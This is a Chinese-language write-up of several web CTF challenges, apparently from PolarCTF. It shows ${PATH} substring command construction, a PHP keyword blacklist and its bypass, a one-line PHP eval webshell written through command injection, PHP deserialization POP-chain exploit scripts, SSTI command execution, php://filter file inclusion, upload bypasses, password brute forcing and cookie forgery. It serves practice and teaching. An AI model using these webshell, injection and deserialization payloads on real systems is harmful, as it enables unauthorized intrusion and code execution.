ez_check
java题暂时不会
狗黑子的变量
考点:截取和拼接$PATH中的字符构造命令
构造方法:
1 2
| $PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin $PATJl/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
构造ls这个命令的结果
1 2 3 4
| ${PATH:5:1} //l ${PATH:2:1} //s ${PATH:5:1}${PATH:2:1} //ls //第一个字母代表PATH里的第几个字符,从0开始,和数组一样 第二个是代表截取几个字符
|
dirsearch扫描 扫出admin.php 可以看到PATH的内容

于是乎就开始拼接要被替换的字母
${PATH:8;1}at /*
cat /*
狗黑子的隐藏
进去只有一个刷新按钮 dirsearch也没有看出东西 F12习惯 看到cmd参数 执行命令 成功
禁了/ env看看 直接出假flag!!!!!!!!
ctrl+u得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 1 <?php 2 3 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { 4 $cmd = $_POST['cmd']; 5 6 7 chdir(dirname(__FILE__)); 8 9 10 $blacklist = array('f','g','cat', 'flag', '&', '|', '`','{','}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\'); 11 $is_dangerous = false; 12 13 14 foreach ($blacklist as $item) { 15 if (stripos($cmd, $item) !== false) { 16 $is_dangerous = true; 17 break; 18 } 19 } 20 21 22 if ($is_dangerous) { 23 echo "不支持危险操作"; 24 } else { 25 26 if (!empty($cmd)) { 27 28 system($cmd); 29 } 30 } 31 } 32 ?
|
直接写木马吧 cmd=echo '<?php @eval($_POST['a']);?>' > a.php
antsword连接成功 执行命令即可

简单的链子
好简单的菜鸟反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class A { public $cmd = 'cat /flag'; function __destruct() { if (isset($this->cmd)) { system($this->cmd); } } }
$a = new A(); echo serialize($a); ?>
|
渗透之王
首先进去是登录界面 帐号admin 随便猜了一个弱口令 提示密码错误 自己拿字典去爆也没爆出来
于是dirsearch扫了一下目录 得到有用的两个路径

访问admin.php得到base64加密的密文 解密后为polarctf
www.zip源码泄露 下载下来发现需要密码 于是输入polarctf 成功解密 打开发现是个弱密码字典 于是我们就使用他的字典 爆出来密码是admin789 成功登录 进入界面点击发现提示非法的文件包含 那就是文件包含
/polarctf/?page=php://filter/convert.base64-encode/resource=about.php
/polarctf/?page=php://filter/convert.base64-encode/resource=hint.php
提示有文件上传界面 现在就是找文件上传入口 这里你可以dirsearch扫 扫出来文件上传路径


很简单的文件上传 改一下content-type即可

antsword连接即可
真假ECR
非预期:
进去就是源代码 禁了一些指令 但是你可以使用转义绕过
?cmd=ca\t /fla\g
预期:
先访问flag.php
得到
1
| KeY=aGVpZ291emk= USERID=p8Sjk58 DATA=2JSklNA= 如果这也不明白的话,加上后缀试一试
|
第一个解码后得到heigouzi 带上后缀php可以访问

参数应该也是cmd 执行命令ls 发现能够读取到这个网站的文件
1 2 3 4 5
| cainiao.txt flag.php heigouzi.php index.php she11.php
|
查看cainiao.txt
是个解密函数 用就好
1 2
| 数据: KeY=aGVpZ291emk= USERID=p8Sjk58 DATA=2JSklNA=
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Decryption { public function decrypt($data, $key) { $char = ''; $str = ''; $key = md5($key); $x = 0; $data = base64_decode($data); $len = strlen($data); $l = strlen($key); for ($i = 0; $i < $len; $i++) { if ($x == $l) { $x = 0; } $char.= substr($key, $x, 1); $x++; } for ($i = 0; $i < $len; $i++) { $str.= chr(ord($data[$i]) - ord($char[$i])); } return $str; } } $data = '2JSklNA='; $key = 'answer'; $decryption = new Decryption(); $result = $decryption->decrypt($data, $key); echo $result; ?>
|
解密出来是wanan 是she11.php的密码 antsword连接即可
nukaka_ser2
没什么好说的 反序列化审链子
看起来很长 其实一下就做出了
pop链子如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class FlagReader { private $logfile; protected $content; }
class DataValidator { }
class FakeDanger { private $buffer; }
class VulnerableClass { public $logger; private $debugMode = true; }
$A = new VulnerableClass(); $A -> logger = new FlagReader(); echo base64_encode(serialize($A)); ?>
|
ghost_render
说是md渲染 抓包自己burp尝试 渲染我就想到ssti 测了下还真是

非常简单的ssti 没有过滤 直接执行命令即可 不过flag路径得首先去读取app.py才可以知道flag存储在/var/secret_flag下

rce命令执行系统
ls被过滤 试试转义

访问发f1ag.php得到
1
| 既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY,给他传个参试一试呢,对了,咱们的靶场叫什么来着?🤔
|
payload env XOR_KEY=Polar
easyRead
嗯很简单的链子 但是拿flag很神经 flag我执行命令没找到 这道题flag是flag{Hello>>>Hello>>>run}
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php Class Read{ public $source; public $is; } class Help{ public $source; public $str; } class Polar { private $var = "system('ls /');"; } class Doit{ public $is; private $source; } $a = new Read(); $a1 = new Read(); $a -> source = $a1; $a1 -> is = new Help(); $a1 -> is -> str = new Doit(); $a1 -> is -> str -> is = new Polar(); echo urlencode(serialize($a)); ?>
|
命运石之门
进去就是验证密码 ctrl+u发现提示 5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB

然后dirsearch扫描发现 passwrod.txt 直接burp开爆 验证码说是不重要 随便填 结果还是要猜万能验证码0000 直接进第二步
还是爆密码 字典是拿到的password.txt内容 爆出来密码是 huan9le1Sam0
直接过人机验证即可得到flag
你也玩铲吗
首先先注册 登陆进去看到ctrl+u看到提示

dirsearch扫描 扫描出来好几个敏感路径

访问/login_admin.html 看到管理员登录界面 结合提示 伪造cookie

修改cookie如下图

再去访问admin_login.php
